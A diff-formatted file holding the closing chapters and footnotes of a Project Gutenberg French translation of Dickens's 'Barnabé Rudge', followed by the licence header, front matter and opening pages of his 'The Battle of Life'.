+qui aviez acheté l'absence du pauvre idiot et de sa mère, quand
+j'ai découvert depuis ce que j'avais déjà soupçonné, que vous
+étiez allé seulement pour les tenter, et que vous les aviez
+trouvés partis? C'est à vous que je fais remonter les insinuations
+perfides que la mort de mon frère n'avait profité qu'à moi, ainsi
+que toutes les attaques odieuses et les calomnies secrètes qui en
+ont été la suite. Il n'y a pas un acte de ma vie, depuis cette
+première espérance que vous avez changée en deuil, en désolation,
+où je ne vous aie trouvé, comme mon mauvais génie, entre la paix
+et moi. En tout et partout vous avez toujours été le même, un sans
+coeur, un hypocrite, un indigne vilain. Pour la seconde et
+dernière fois je vous jette ces accusations à la face, et je vous
+repousse avec mépris comme un chien que vous êtes, homme déloyal
+et faux.»
+
+En même temps il leva son bras et lui frappa la poitrine d'un coup
+si rude, que l'autre chancela. Sir John ne fut pas plus tôt remis
+de cet outrage, qu'il tira son épée, jeta au loin le fourreau et
+son chapeau, et se précipitant sur son adversaire, lui porta au
+coeur une botte désespérée qui l'aurait couché sans vie sur le
+gazon, s'il n'avait pas opposé à sa fureur une parade vive et
+sûre.
+
+En frappant sir John, Haredale avait comme épuisé sa rage, il se
+contentait maintenant de parer ses passes rapides sans riposter,
+et lui conseillait, avec une espèce de terreur frénétique peinte
+sur son visage, de ne pas avancer un pas de plus.
+
+«Pas ce soir, pas ce soir, criait-il; au nom du ciel, pas ce
+soir!»
+
+En le voyant abaisser son arme, décidé à ne point riposter encore,
+sir John abaissa aussi la sienne.
+
+«Pas ce soir! lui cria encore son adversaire; profitez de mon
+avis.
+
+-- Vous venez de me dire (il faut que ce soit dans un moment
+d'inspiration), répliqua sir John d'un ton dégagé, quoique à
+présent il eût jeté le masque pour lui montrer sa haine en face,
+vous venez de me dire que c'était la dernière fois. Vous pouvez en
+être sûr. Est ce que vous pensiez, par hasard, que j'avais oublié
+notre dernière entrevue? Vous imaginez-vous que je ne me souvienne
+pas de chacune de vos paroles, de chacun de vos regards, pour vous
+en demander compte? Qui de nous deux, pensez-vous, a choisi son
+moment? est-ce vous, est-ce moi? Voyez un peu l'honnête homme avec
+son jargon de probité, qui, après avoir contracté avec moi un
+engagement pour prévenir une union qu'il faisait semblant de ne
+pas trouver à son goût, engagement tenu par moi fidèlement et à la
+lettre, le viole de son côté, et saisit l'occasion de bâcler le
+mariage, pour se débarrasser d'un fardeau qui lui pesait sur les
+bras, et jeter sur sa maison un lustre mal acquis!
+
+-- J'ai agi, cria M. Haredale, avec honneur et de bonne foi.
+J'agis de même encore maintenant, en vous avertissant de ne pas me
+forcer à recommencer ce duel avec vous ce soir.
+
+-- Vous parliez tout à l'heure de mon «malheureux fils,» je crois,
+dit sir John avec un sourire. Le pauvre sot! s'être laissé duper
+par un pareil tartufe, enlacer dans leurs filets par un pareil
+oncle et par une pareille nièce! vous avez bien raison de le
+plaindre. Mais ce n'est plus mon fils: je vous fais mon
+compliment, monsieur, de la belle prise que vous avez faite là;
+elle fait honneur à votre ruse.
+
+-- Encore une fois, lui cria son ennemi frappant du pied dans un
+transport de rage, quoique vous soyez capable de me faire renier
+mon bon ange, je vous conjure de ne pas venir ce soir au bout de
+mon épée. Oh! quel malheur que vous soyez venu ici! Pourquoi nous
+sommes-nous rencontrés? Demain nous étions séparés pour toujours.
+
+-- Puisque c'est comme ça, reprit sir John sans la moindre
+émotion, c'est fort heureux que nous nous soyons rencontrés ce
+soir. Haredale, je vous ai toujours méprisé, vous savez, mais
+pourtant je vous croyais capable d'une espèce de courage brutal.
+Pour l'honneur de mon jugement, dans lequel j'ai toujours eu
+confiance, je suis fâché de voir que vous n'êtes qu'un lâche.»
+
+Après cela, pas un mot ne fut échangé des deux parts. Ils
+croisèrent le fer, malgré les ténèbres, et s'attaquèrent l'un
+l'autre avec acharnement. Ils étaient bien assortis: chacun d'eux
+était une fine lame.
+
+Au bout de quelques secondes, ils devinrent plus animés et plus
+furieux, ils se serrèrent de plus près, portèrent et reçurent des
+blessures légères. Ce fut immédiatement après en avoir attrapé une
+au bras que maître Haredale, sentant ruisseler son sang tout
+chaud, fit une attaque plus vive, et plongea son épée jusqu'à la
+garde à travers le corps de son adversaire.
+
+Leurs yeux se rencontrèrent tout près l'un de l'autre, quand il
+retira son arme fumante. Haredale passa le bras autour du mourant,
+qui le repoussa faiblement et tomba sur l'herbe. Là, se soulevant
+sur ses mains, sir John le contempla un instant avec des yeux de
+haine et de mépris; mais il parut se rappeler, même alors, que
+cette expression enlaidirait ses traits après sa mort: il essaya
+donc de sourire, et, remuant sa droite défaillante, comme pour
+cacher dans son gilet son linge ensanglanté, il retomba en
+arrière; il était mort... c'était là le Fantôme de la nuit passée.
+
+
+
+
+CHAPITRE XL.
+
+
+Donnons un coup d'oeil d'adieu à chacun des acteurs de cette
+petite histoire que nous n'avons pas encore congédiés dans le
+cours des événements, et nous aurons fini.
+
+Maître Haredale s'enfuit cette nuit-là même. Avant qu'on eût pu
+commencer les poursuites, avant même qu'on se fût aperçu de la
+disparition de sir John et qu'on se fût mis à sa recherche, son
+adversaire avait déjà quitté la Grande-Bretagne. Il alla tout
+droit à un établissement religieux, renommé en Europe pour la
+rigueur et la sévérité de sa discipline et pour la pénitence
+inflexible que sa règle imposait à ceux qui venaient y chercher un
+refuge contre le monde: c'est là qu'il fit les voeux qui, à partir
+de ce moment, l'enlevèrent à ses parents et ses amis, et qu'après
+quelques années de remords il fut enterré dans les sombres
+cloîtres du couvent.
+
+Il se passa deux jours avant qu'on retrouvât le corps de sir John.
+Aussitôt qu'on l'eut reconnu et emporté chez lui, son estimable
+valet de chambre, fidèle aux principes de son maître, disparut
+avec tout l'argent et les objets de prix sur lesquels il put
+mettre la main, grâce à quoi il alla quelque part faire le
+gentilhomme dans la perfection, pour son propre compte. Il eut un
+véritable succès dans cette carrière distinguée, et il aurait même
+fini par épouser quelque héritière, sans un malheureux mandat
+d'arrêt qui occasionna sa fin prématurée. Il mourut d'une fièvre
+contagieuse qui faisait alors de grands ravages, et qu'on appelait
+communément le typhus des prisons.
+
+Lord Georges Gordon, après être resté emprisonné à la Tour
+jusqu'au lundi 5 février de l'année suivante, fut jugé ce jour-là
+à Westminster pour crime de haute trahison. Il est vrai qu'après
+une enquête sérieuse et patiente, il fut déchargé de cette
+accusation, faute de pouvoir prouver qu'il eût agité la population
+dans des intentions déloyales et illégales. Il y avait même encore
+tant de personnes à qui ces troubles n'avaient pas servi de leçon
+pour modérer leur faux zèle, qu'on fit, en Écosse, une
+souscription pour payer les frais de la défense.
+
+Pendant les sept années qui suivirent, il se tint tranquille par
+comparaison, grâce à l'intercession assidue de ses amis; pourtant
+il trouva encore, de temps en temps, l'occasion de déployer son
+fanatisme protestant par quelques manifestations extravagantes qui
+réjouirent fort ses ennemis; il fut même excommunié en forme par
+l'archevêque de Canterbury, pour avoir refusé de comparaître comme
+témoin, sur la citation expresse de la Cour ecclésiastique. Dans
+l'année 1788, il fut poussé par un nouvel accès de folie à
+composer et publier un pamphlet injurieux, écrit en termes très
+violents contre la reine de France. Accusé de diffamation, après
+avoir fait devant la cour différentes déclarations qui n'étaient
+pas moins insensées, il fut condamné, et se sauva en Hollande pour
+échapper à la peine prononcée contre lui. Mais, comme les bons
+bourgmestres d'Amsterdam n'étaient pas flattés d'accueillir un
+pareil hôte, ils le renvoyèrent chez lui en toute hâte. Il arriva
+à Harwich dans le mois de juillet, et se dirigea de là à
+Birmingham, où il fit, en août, profession publique de la religion
+juive. Il y figura comme israélite jusqu'au moment où il fut
+arrêté et ramené à Londres pour subir sa peine. En vertu de
+l'arrêt porté contre lui, il fut, au mois de décembre, jeté dans
+la prison de Newgate, où il passa cinq ans et dix mois, obligé en
+outre de payer une forte amende, et de fournir des garanties
+sérieuses de bonne conduite à l'avenir.
+
+Après avoir adressé, au milieu de l'été de l'année suivante un
+appel à la commisération de l'Assemblée nationale en France, appel
+auquel le ministre anglais refusa sa sanction, il s'arrangea pour
+subir jusqu'au bout la punition qui lui était infligée; il laissa
+croître sa barbe jusqu'à sa ceinture, et se conformant sous tous
+les rapports aux cérémonies de sa nouvelle religion, il s'appliqua
+à l'étude de l'histoire, et, par occasion, à l'art de la peinture,
+pour lequel, dans sa jeunesse, il avait montré des dispositions.
+Abandonné par ses anciens amis et traité, à tous égards, en
+prison, comme le plus grand criminel, il y demeura gai et résigné,
+jusqu'au 1er novembre 1793, époque où il mourut dans son cachot:
+il n'avait que trente-quatre ans.
+
+Il y a bien des gens qui ont fait dans le monde plus brillante
+figure et qui ont laissé une renommée plus éclatante, sans avoir
+jamais témoigné autant de sympathie pour les malheureux et les
+nécessiteux. Il ne manqua pas de pleureurs à ses funérailles. Les
+prisonniers déplorèrent sa perte et l'accompagnèrent de leurs
+regrets: car, avec des moyens bornés, sa charité était grande, et,
+dans la distribution qu'il faisait parmi eux de ses aumônes, il ne
+considérait que leurs besoins, sans distinction de secte ou de
+symbole religieux. Il y a, dans les hauts parages de la société,
+bien des esprits supérieurs qui pourraient apprendre à cet égard
+quelque chose, même de ce pauvre cerveau fêlé de lord qui est mort
+à Newgate.
+
+Jusqu'au dernier moment, le brave John Grueby ne déserta pas son
+service. Il n'y avait pas vingt-quatre heures que son maître était
+à la Tour, qu'il vint près de lui pour ne plus le quitter jusqu'à
+la mort.
+
+Lord Gordon eut encore des soins constants et dévoués dans la
+personne d'une jeune fille juive d'une grande beauté, elle s'était
+attachée à lui par un sentiment demi religieux et demi romanesque,
+mais dont le caractère vertueux et désintéressé parait avoir défié
+le soupçon des censeurs les plus téméraires.
+
+Gashford, naturellement, l'avait abandonné. Il subsista quelque
+temps du trafic qu'il fit des secrets de son maître, mais tout a
+un terme, et, quand il eut épuisé son fonds, son commerce ne
+pouvant plus lui rapporter rien, il se procura un emploi dans le
+corps honorable des espions et des mouchards au service du
+gouvernement. En cette qualité, comme tous les misérables de son
+espèce, il traîna sa honteuse et pénible existence, tantôt à
+l'étranger, tantôt en Angleterre, et endura longtemps toutes les
+misères d'un pareil poste. Il y a dix ou douze ans... tout au
+plus... un vieillard maigre et hâve, maladif et réduit au dernier
+état de gueuserie, fut trouvé mort dans son lit, je ne sais dans
+quel cabaret borgne du Bourg, où il était tout à fait inconnu. Il
+avait pris du poison. On ne put avoir aucun renseignement sur son
+nom: on découvrit seulement, d'après certaines notes du carnet
+qu'il portait dans sa poche, qu'il avait été secrétaire de lord
+Georges Gordon, à l'époque des fameuses émeutes...
+
+Bien des mois après le rétablissement de l'ordre et de la paix,
+quand on n'en parlait déjà plus dans la ville; qu'on ne disait
+plus, par exemple, que chaque officier militaire entretenu aux
+frais de Londres pendant les derniers troubles avait coûté pour la
+table et le logement quatre livres sterling quatre shillings par
+jour, et chaque simple soldat deux shillings, deux pence et un
+demi penny; bien des mois après qu'on avait oublié même ces
+détails intéressants et que tous les Bouledogues-Unis avaient été
+jusqu'au dernier, ou tués, ou emprisonnés ou transportés, M. Simon
+Tappertit, ayant été transféré de l'hôpital à la prison, et de là
+devant la Cour, fut renvoyé gracié, avec deux jambes de bois.
+Dépouillé des membres qui faisaient sa grâce et son orgueil, et
+déchu de sa haute fortune pour tomber dans la condition la plus
+humble et la plus profonde misère, il se décida à retourner
+boiteux chez son ancien maître, pour lui demander quelque
+soulagement. Grâce aux bons conseils et à l'aide du serrurier, il
+s'établit décrotteur et ouvrit boutique en cette qualité sous une
+arcade voisine des Horse-Guards. Comme c'est un quartier central,
+il eut bientôt une nombreuse clientèle, et, les jours de lever du
+roi, il est prouvé qu'il a eu jusqu'à vingt officiers, à demi-
+solde qui faisaient queue pour se faire cirer leurs bottes. Son
+commerce reçut même une telle extension que, dans le cours des
+temps, il entretint jusqu'à deux apprentis, sans compter qu'il
+prit pour femme la veuve d'un chiffonnier éminent, ci-devant à
+Milbank.
+
+Il vécut avec cette dame (qui l'assistait dans son négoce) sur le
+pied de la plus douce félicité domestique, entaillée seulement de
+quelques uns de ces petits orages passagers qui ne servent qu'à
+éclaircir l'atmosphère des ménages et à en égayer l'horizon. Il
+arriva quelquefois, par exemple, dans ces bouffées de mauvais
+temps, que M. Tappertit, jaloux du maintien de ses prérogatives,
+s'oublia jusqu'à corriger la dame à coups de brosse, de bottes et
+de souliers; pendant que sa ménagère (mais il faut lui rendre la
+justice que c'était seulement dans des cas extrêmes) se vengeait
+en lui emportant ses jambes et en le laissant exposé dans la rue
+aux huées des petits polissons, qui ne prennent jamais tant de
+plaisir qu'à mal faire.
+
+Mlle Miggs, déçue dans tous ses rêves d'établissement matrimonial
+ou autres, par la faute d'un monde ingrat, qui ne méritait pas ses
+regrets, tourna à l'aigre comme du petit-lait. Elle finit par
+devenir si acide, pinçant, cognant, tordant toute la journée les
+cheveux et le nez de la jeunesse de la cour du Lion d'Or, que, par
+un consentement unanime, elle fut expulsée de ce sanctuaire, et
+voulut donner la préférence à quelque autre localité bénie du
+ciel, pour la régaler de sa présence. Il se trouva justement qu'en
+ce moment les justices de paix de Middlesex firent savoir, par des
+affiches officielles, qu'il leur fallait un porte-clefs femelle
+pour le Bridewell[8] du comté, et désignèrent l'heure et le jour du
+concours des aspirantes. Mlle Miggs, fidèle au rendez-vous, fut
+choisie d'emblée et hors ligne sur cent vingt-quatre concurrentes,
+et immédiatement revêtue de l'emploi qu'elle ne cessa d'exercer
+jusqu'à sa mort, c'est-à-dire plus de trente ans durant, mais
+hélas! toujours célibataire pendant tout ce temps-là. On remarqua
+que cette demoiselle, inflexible d'ailleurs et revêche pour tout
+le troupeau de femmes dont elle était le pasteur, n'était jamais
+plus méchante qu'avec celles qui pouvaient avoir quelque
+prétention à la beauté, et, comme preuve de son indomptable vertu
+et de sa chasteté sévère, ne faisait jamais quartier à celles qui
+avaient tenu une conduite légère; elle leur tombait sur le corps à
+la première occasion; elle n'avait même pas besoin d'occasion du
+tout pour décharger sur elles sa colère. Entre autres inventions
+utiles et de son cru, qu'elle mettait en pratique avec cette
+classe de malfaiteurs, et qui ont mérité de passer à la postérité,
+il ne faut pas oublier l'art d'infliger un coup fourré des plus
+traîtres dans les reins, tout près de l'épine dorsale, avec la
+garde d'une clef qu'elle tenait toujours en main pour cet usage.
+Elle était également brevetée pour une manière de marcher par
+accident (quand elle était munie de ses bons patins ferrés) sur
+celles qui avaient de petits pieds. Nous recommandons ce procédé
+comme extrêmement ingénieux, et tout à fait inconnu avant elle.
+
+Vous pouvez être sûrs qu'il ne se passa pas longtemps avant que
+Joe Willet et Dolly Varden fussent bien et dûment mari et femme,
+et, avec une somme bien ronde sur la Banque (car le serrurier ne
+se fit pas prier pour donner à sa fille une bonne dot), ils
+rouvrirent le Maypole. Vous pouvez être bien sûrs aussi qu'il ne
+se passa pas longtemps avant qu'un gros rougeaud de petit garçon
+fût toujours à trébucher dans le corridor du Maypole et à piétiner
+avec ses talons sur la pelouse devant la porte. Il ne se passa pas
+non plus de longues années avant qu'on vît une grosse rougeaude de
+petite fille, et puis un autre rougeaud de petit garçon, et puis
+une pleine troupe de petites filles et de petits garçons: de
+manière que vous pouviez aller à Chigwell quand vous voulez, vous
+étiez, toujours sûr d'y voir, ou dans la rue du village, ou sur la
+pelouse, ou folichonnant dans la cour de la ferme... oui-da, de la
+ferme, c'en était une à présent aussi bien qu'une taverne... tant
+de petits Joe et de petites Dolly, qu'on n'en savait pas le
+compte. Et tout ça ne fut pas long; mais, par exemple, il se passa
+du temps avant que Joe parût avoir seulement cinq ans de plus, ni
+Dolly non plus, ni le serrurier non plus, ni sa femme non plus:
+car la gaieté et le contentement sont de fameux embellisseurs et
+de fameux cosmétiques, je vous en réponds, pour conserver la bonne
+mine.
+
+Il se passa bien du temps aussi avant qu'il y eut dans toute
+l'Angleterre une auberge de village comme le Maypole. C'est même
+encore une grande question de savoir si, à l'heure qu'il est, il y
+en a une pareille, ou s'il y en aura jamais. Il se passa bien du
+temps aussi... car, jamais, c'est trop dire... avant qu'on cessât
+de montrer au Maypole un intérêt tout particulier pour les soldats
+blessés, ou que Joe oubliât de les faire rafraîchir, par souvenir
+de ses anciennes campagnes; ou avant que le sergent en tournée de
+recrutement manquât d'y donner un coup d'oeil de temps en temps,
+ou avant qu'ils fussent las, l'un ou l'autre, de parler sièges et
+batailles, et du causer des rigueurs du temps et du service, et de
+mille choses qui intéressent la vie du soldat. Quant à la grande
+tabatière d'argent que le roi avait envoyée à Joe de sa propre
+main, pour récompenser sa conduite dans les émeutes, quel est
+l'hôte qui descendit une seule fois au Maypole sans y mettre le
+doigt et le pouce, et en retirer une grande prise, quand même il
+n'aurait jamais respiré auparavant un atome de tabac, et qu'il
+aurait dû se donner des convulsions à force d'éternuer? Pour ce
+qui est du distillateur cramoisi, quel est l'homme qui a vécu dans
+ce temps-là et qui ne l'a jamais vu au Maypole, aussi à son aise
+dans la belle chambre que s'il était chez lui? Et pour ce qui est
+des fêtes, des baptêmes, des galas de Noël et de la célébration
+des anniversaires de naissance, de mariage, je ne sais pas de
+quoi, ou au Maypole ou à la Croix d'Or... si vous n'en avez pas
+entendu parler, vous n'avez donc entendu parler de rien.
+
+M. Willet Senior, s'étant fourré dans l'esprit, on ne sait par
+quel procède extraordinaire, que Joe avait envie de se marier, et
+qu'en sa qualité de père il ferait bien de se retirer dans la vie
+privée, pour mettre son fils à même de vivre à son aise, choisit
+pour résidence un petit cottage à Chigwell. On y élargit l'âtre;
+on agrandit la cheminée pour lui; on y pendit le chaudron à la
+crémaillère, et surtout on y planta, dans le petit jardin devant
+la porte de la façade, un petit mai pour rire, de manière qu'il se
+trouva tout de suite chez lui. C'est là, dans sa nouvelle
+habitation, que Tom Cobb, Phil Parkes et Salomon Daisy venaient
+régulièrement tous les soirs, et que, dans le coin de la cheminée,
+ils gobeletaient tous les quatre, fumant, phrasant, faisant un
+somme tout de même qu'au temps jadis. Comme on découvrit par
+hasard, au bout de peu de temps, que M. Willet avait l'air de se
+considérer encore comme aubergiste de profession, Joe lui procura
+une ardoise, sur laquelle le bonhomme inscrivait régulièrement des
+comptes énormes de dépenses pour la consommation de viande, de
+liquide et de tabac. À mesure qu'il avança en âge, cette passion
+redoubla d'ardeur, et son plus grand plaisir était d'enregistrer à
+la craie, au nom de chacun de ses vieux camarades, une somme
+fabuleuse, impossible à payer jamais; et la joie secrète qu'il
+éprouvait à établir ses chiffres était telle, qu'on le voyait
+toujours aller derrière la porte pour jeter un coup d'oeil à son
+tableau, et revenir avec l'expression de la satisfaction la plus
+vive.
+
+Il ne se remit jamais bien de la surprise que lui avaient faite
+les insurgés, et resta dans la même condition mentale jusqu'au
+dernier moment de sa vie, qui fut bien près de se terminer
+brusquement la première fois qu'il vit son petit-fils, car ce
+spectacle parut frapper son esprit de l'idée qu'il était arrivé à
+Joe quelque miracle d'une nature alarmante. Heureusement, une
+saignée pratiquée à propos par un habile chirurgien le tira de là;
+et, quoique les docteurs fussent tous d'accord, quand il eut une
+attaque d'apoplexie six mois après, qu'il allait mourir, et qu'ils
+eussent trouvé très mauvais qu'il n'en fît rien, il resta en
+vie... peut-être par suite de sa lenteur constitutionnelle...
+encore sept ans en sus; mais cette fois on le trouva un beau matin
+dans son lit, privé de la parole. Il resta dans cet état, sans
+souffrir, toute une semaine, et reprit subitement connaissance en
+entendant la garde murmurer à l'oreille de son fils que le vieux
+papa s'en allait:
+
+«Oui, Joseph, je m'en vais, dit M. Willet se retournant vivement,
+dans la Savaigne.»
+
+Et immédiatement il rendit l'esprit.
+
+Il laissa un joli magot. Son bien était plus considérable qu'on ne
+l'avait cru; quoique les voisins, suivant la coutume pratiquée par
+le genre humain, quand il calcule par supposition les économies
+d'autrui, eût estimé la sienne rondement. Joe, son unique
+héritier, devint par là un homme conséquent dans le pays, et
+surtout parfaitement indépendant.
+
+Il se passa quelque temps avant que Barnabé put prendre le dessus
+du coup qu'il avait reçu, et recouvrer sa santé et son ancienne
+gaieté. Cependant il revint petit à petit, et, sauf qu'il ne put
+jamais séparer sa condamnation et sa délivrance de la supposition
+d'un songe terrible, il devint, à d'autres égards, plus
+raisonnable. À dater de son rétablissement, il eut la mémoire
+meilleure et plus de suite dans les idées mais un nuage obscur
+plana toujours sur le souvenir de son existence première, et ne
+s'éclaircit jamais.
+
+Il n'en fut pas plus malheureux pour cela; car il conserva
+toujours avec la même vivacité son amour de la liberté et son
+intérêt sympathique pour tout ce qui a le mouvement et la vie,
+pour tout ce qui puise son être dans les éléments. Il demeura avec
+sa mère sur la ferme du Maypole, soignant les bestiaux et la
+volaille, travaillant au jardin, et donnant un coup de main
+partout où il en était besoin. Il n'y avait pas dans tout le pays
+un oiseau ou un quadrupède qui ne le connût, et à qui il n'eût
+donné un nom particulier. Jamais vous n'avez vu un campagnard plus
+paisible de coeur, une créature plus populaire chez les jeunes
+comme chez les vieux, une âme plus ouverte et plus heureuse que
+Barnabé; et, quoique personne ne l'empêchât d'aller courir, il ne
+voulut jamais _La_ quitter, et resta toujours désormais auprès
+d'elle pour être sa consolation et son bâton de vieillesse.
+
+Une chose remarquable, c'est que, malgré cette obscurité qui, chez
+lui, jetait un voile sur le passé, il alla chercher le chien de
+Hugh, l'emmena pour en prendre soin, et qu'il résista à toutes les
+tentations de retourner jamais à Londres. Lorsque les émeutes
+furent plus vieilles de quelques années, et qu'Édouard revint avec
+sa femme et une petite famille presque aussi nombreuse que celle
+du Dolly, apparaître un beau jour devant le porche du Maypole,
+Barnabé les reconnut bien et se mit à pleurer et à sauter de joie.
+Mais jamais, ni pour leur rendre visite, ni sous aucun autre
+prétexte, quelque plaisir et quelque amusement qu'on lui pût
+promettre, il ne voulut se laisser persuader de mettre le pied
+dans les rues: jamais il ne put même surmonter sa répugnance
+jusqu'à regarder du côté de la grande ville.
+
+Grip eut bientôt repris sa bonne mine, et redevint lisse et
+luisant comme dans son beau temps; mais il resta profondément
+silencieux. Avait-il désappris l'art de soutenir une conversation
+polie à Newgate, ou bien n'avait-il pas plutôt fait voeu, dans ces
+temps de trouble, de suspendre, pendant un temps déterminé,
+l'exercice de ses talents? on n'a jamais pu le savoir. Ce qu'il y
+a de certain, c'est que, pendant une année tout entière, il ne fit
+pas entendre un autre son qu'un grave et majestueux croassement. À
+l'expiration de ce terme, par une brillante matinée de beau
+soleil, on l'entendit interpeller les chevaux de l'écurie, au
+sujet de la Bouilloire, dont il a été si souvent question dans ces
+pages; et, avant que le témoin qui l'avait surpris à parler pût
+courir en porter la nouvelle à la maison, et déclarer, qui plus
+est, sur sa parole d'honneur la plus solennelle, qu'il l'avait
+entendu rire aux éclats, l'oiseau s'avança lui-même d'un pas
+fantastique jusqu'à la porte de la salle à boire, et là il se mit
+à crier: «Je suis un diable! je suis un diable, moi; je suis un
+diable!»
+
+Depuis lors, quoiqu'on ait eu des raisons de croire qu'il ne fut
+pas insensible à la mort de M. Willet Senior, il ne cessa pas de
+s'exercer et de se perfectionner dans la langue vulgaire; et,
+comme ce n'était encore qu'un bébé de corbeau quand Barnabé avait
+déjà les cheveux gris, il y a gros à parier qu'il parle encore à
+l'heure qu'il est.
+
+FIN.
+
+
+
+
+[1] Loi contre les émeutes, dont lecture est faite aux rassemblements
+avant de commander le feu.
+
+[2] Sans doute Bitch, chienne.
+
+[3] Maison de fous.
+
+[4] Il y a là un des tribunaux de première instruction pour les affaires
+criminelles.
+
+[5] Il y a encore au service de la reine quelques piquiers.
+
+[6] Lieu d'exécution à Londres pour les criminels, comme autrefois la
+place de Grève à Paris.
+
+[7] Chaque paroisse doit entretenir ses pauvres.
+
+[8] Maison de correction pour les femmes.
+
+
+
+
+
+
+
+
+
+
+End of Project Gutenberg's Barnabé Rudge, Tome II, by Charles Dickens
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+The Project Gutenberg EBook of The Battle of Life, by Charles Dickens
+
+This eBook is for the use of anyone anywhere at no cost and with
+almost no restrictions whatsoever.  You may copy it, give it away or
+re-use it under the terms of the Project Gutenberg License included
+with this eBook or online at www.gutenberg.org
+
+
+Title: The Battle of Life
+       A Love Story
+
+Author: Charles Dickens
+
+Release Date: September 10, 2012 [EBook #40723]
+
+Language: English
+
+
+*** START OF THIS PROJECT GUTENBERG EBOOK THE BATTLE OF LIFE ***
+
+
+
+
+Produced by Chris Curnow, eagkw and the Online Distributed
+Proofreading Team at http://www.pgdp.net (This file was
+produced from images generously made available by The
+Internet Archive)
+
+
+
+
+
+
+
+  THE BATTLE OF LIFE.
+
+  A LOVE STORY.
+
+
+
+
+  [Illustration]
+
+
+
+
+  [Illustration: THE BATTLE OF LIFE
+  A LOVE STORY]
+
+
+
+
+  THE
+  BATTLE OF LIFE.
+  A Love Story.
+
+  BY
+  CHARLES DICKENS.
+
+  London:
+  BRADBURY & EVANS, WHITEFRIARS.
+  MDCCCXLVI.
+
+
+
+
+  LONDON:
+  BRADBURY AND EVANS, PRINTERS, WHITEFRIARS.
+
+
+
+
+  THIS
+  Christmas Book
+  IS CORDIALLY INSCRIBED TO MY ENGLISH FRIENDS
+  IN SWITZERLAND
+
+
+
+
+ILLUSTRATIONS.
+
+
+    _Title._                 _Artist._           _Engraver._
+
+  FRONTISPIECE             D. MACLISE, R.A.    _Thompson._
+
+  TITLE                    D. MACLISE, R.A.    _Thompson._
+
+  PART THE FIRST           R. DOYLE.           _Dalziel._
+
+  WAR                      C. STANFIELD, R.A.  _Williams._
+
+  PEACE                    C. STANFIELD, R.A.  _Williams._
+
+  THE PARTING BREAKFAST    J. LEECH.           _Dalziel._
+
+  PART THE SECOND          R. DOYLE.           _Green._
+
+  SNITCHEY AND CRAGGS      J. LEECH.           _Dalziel._
+
+  THE SECRET INTERVIEW     D. MACLISE, R.A.    _Williams._
+
+  THE NIGHT OF THE RETURN  J. LEECH.           _Dalziel._
+
+  PART THE THIRD           R. DOYLE.           _Dalziel._
+
+  THE NUTMEG GRATER        C. STANFIELD, R.A.  _Williams._
+
+  THE SISTERS              D. MACLISE, R.A.    _Williams._
+
+
+
+
+THE BATTLE OF LIFE.
+
+A Love Story.
+
+PART THE FIRST.
+
+
+
+
+[Illustration]
+
+PART THE FIRST
+
+
+[Illustration]
+
+Once upon a time, it matters little when, and in stalwart England, it
+matters little where, a fierce battle was fought. It was fought upon a
+long summer day when the waving grass was green. Many a wild flower
+formed by the Almighty Hand to be a perfumed goblet for the dew, felt
+its enamelled cup fill high with blood that day, and shrinking dropped.
+Many an insect deriving its delicate color from harmless leaves and
+herbs, was stained anew that day by dying men, and marked its frightened
+way with an unnatural track. The painted butterfly took blood into the
+air upon the edges of its wings. The stream ran red. The trodden ground
+became a quagmire, whence, from sullen pools collected in the prints of
+human feet and horses' hoofs, the one prevailing hue still lowered and
+glimmered at the sun.
+
+[Illustration]
+
+Heaven keep us from a knowledge of the sights the moon beheld
+upon that field, when, coming up above the black line of distant
+rising-ground, softened and blurred at the edge by trees, she rose
+into the sky and looked upon the plain, strewn with upturned faces
+that had once at mothers' breasts sought mothers' eyes, or slumbered
+happily. Heaven keep us from a knowledge of the secrets whispered
+afterwards upon the tainted wind that blew across the scene of that
+day's work and that night's death and suffering! Many a lonely moon
+was bright upon the battle-ground, and many a star kept mournful watch
+upon it, and many a wind from every quarter of the earth blew over it,
+before the traces of the fight were worn away.
+
+They lurked and lingered for a long time, but survived in little things,
+for Nature, far above the evil passions of men, soon recovered Her
+serenity, and smiled upon the guilty battle-ground as she had done
+before, when it was innocent. The larks sang high above it, the swallows
+skimmed and dipped and flitted to and fro, the shadows of the flying
+clouds pursued each other swiftly, over grass and corn and turnip-field
+and wood, and over roof and church-spire in the nestling town among
+the trees, away into the bright distance on the borders of the sky
+and earth, where the red sunsets faded. Crops were sown, and grew up,
+and were gathered in; the stream that had been crimsoned, turned a
+watermill; men whistled at the plough; gleaners and haymakers were seen
+in quiet groups at work; sheep and oxen pastured; boys whooped and
+called, in fields, to scare away the birds; smoke rose from cottage
+chimneys; sabbath bells rang peacefully; old people lived and died; the
+timid creatures of the field, and simple flowers of the bush and garden,
+grew and withered in their destined terms: and all upon the fierce and
+bloody battle-ground, where thousands upon thousands had been killed in
+the great fight.
+
+But there were deep green patches in the growing corn at first, that
+people looked at awfully. Year after year they re-appeared; and it was
+known that underneath those fertile spots, heaps of men and horses lay
+buried, indiscriminately, enriching the ground. The husbandmen who
+ploughed those places, shrunk from the great worms abounding there; and
+the sheaves they yielded, were, for many a long year, called the Battle
+Sheaves, and set apart; and no one ever knew a Battle Sheaf to be among
+the last load at a Harvest Home. For a long time, every furrow that was
+turned, revealed some fragments of the fight. For a long time, there
+were wounded trees upon the battle-ground; and scraps of hacked and
+broken fence and wall, where deadly struggles had been made; and
+trampled parts where not a leaf or blade would grow. For a long time,
+no village-girl would dress her hair or bosom with the sweetest flower
+from that field of death: and after many a year had come and gone, the
+berries growing there, were still believed to leave too deep a stain
+upon the hand that plucked them.
+
+[Illustration]
+
+The Seasons in their course, however, though they passed as lightly as
+the summer clouds themselves, obliterated, in the lapse of time, even
+these remains of the old conflict; and wore away such legendary traces
+of it as the neighbouring people carried in their minds, until they
+dwindled into old wives' tales, dimly remembered round the winter fire,
+and waning every year. Where the wild flowers and berries had so long
+remained upon the stem untouched, gardens arose, and houses were built,
+and children played at battles on the turf. The wounded trees had long
+ago made Christmas logs, and blazed and roared away. The deep green
+patches were no greener now than the memory of those who lay in dust
+below. The ploughshare still turned up from time to time some rusty bits
+of metal, but it was hard to say what use they had ever served, and
+those who found them wondered and disputed. An old dinted corslet,
+and a helmet, had been hanging in the church so long, that the same
+weak half-blind old man who tried in vain to make them out above the
+whitewashed arch, had marvelled at them as a baby. If the host slain
+upon the field, could have been for a moment reanimated in the forms in
+which they fell, each upon the spot that was the bed of his untimely
+death, gashed and ghastly soldiers would have stared in, hundreds deep,
+at household door and window; and would have risen on the hearths
+of quiet homes; and would have been the garnered store of barns and
+granaries; and would have started up between the cradled infant and its
+nurse; and would have floated with the stream, and whirled round on the
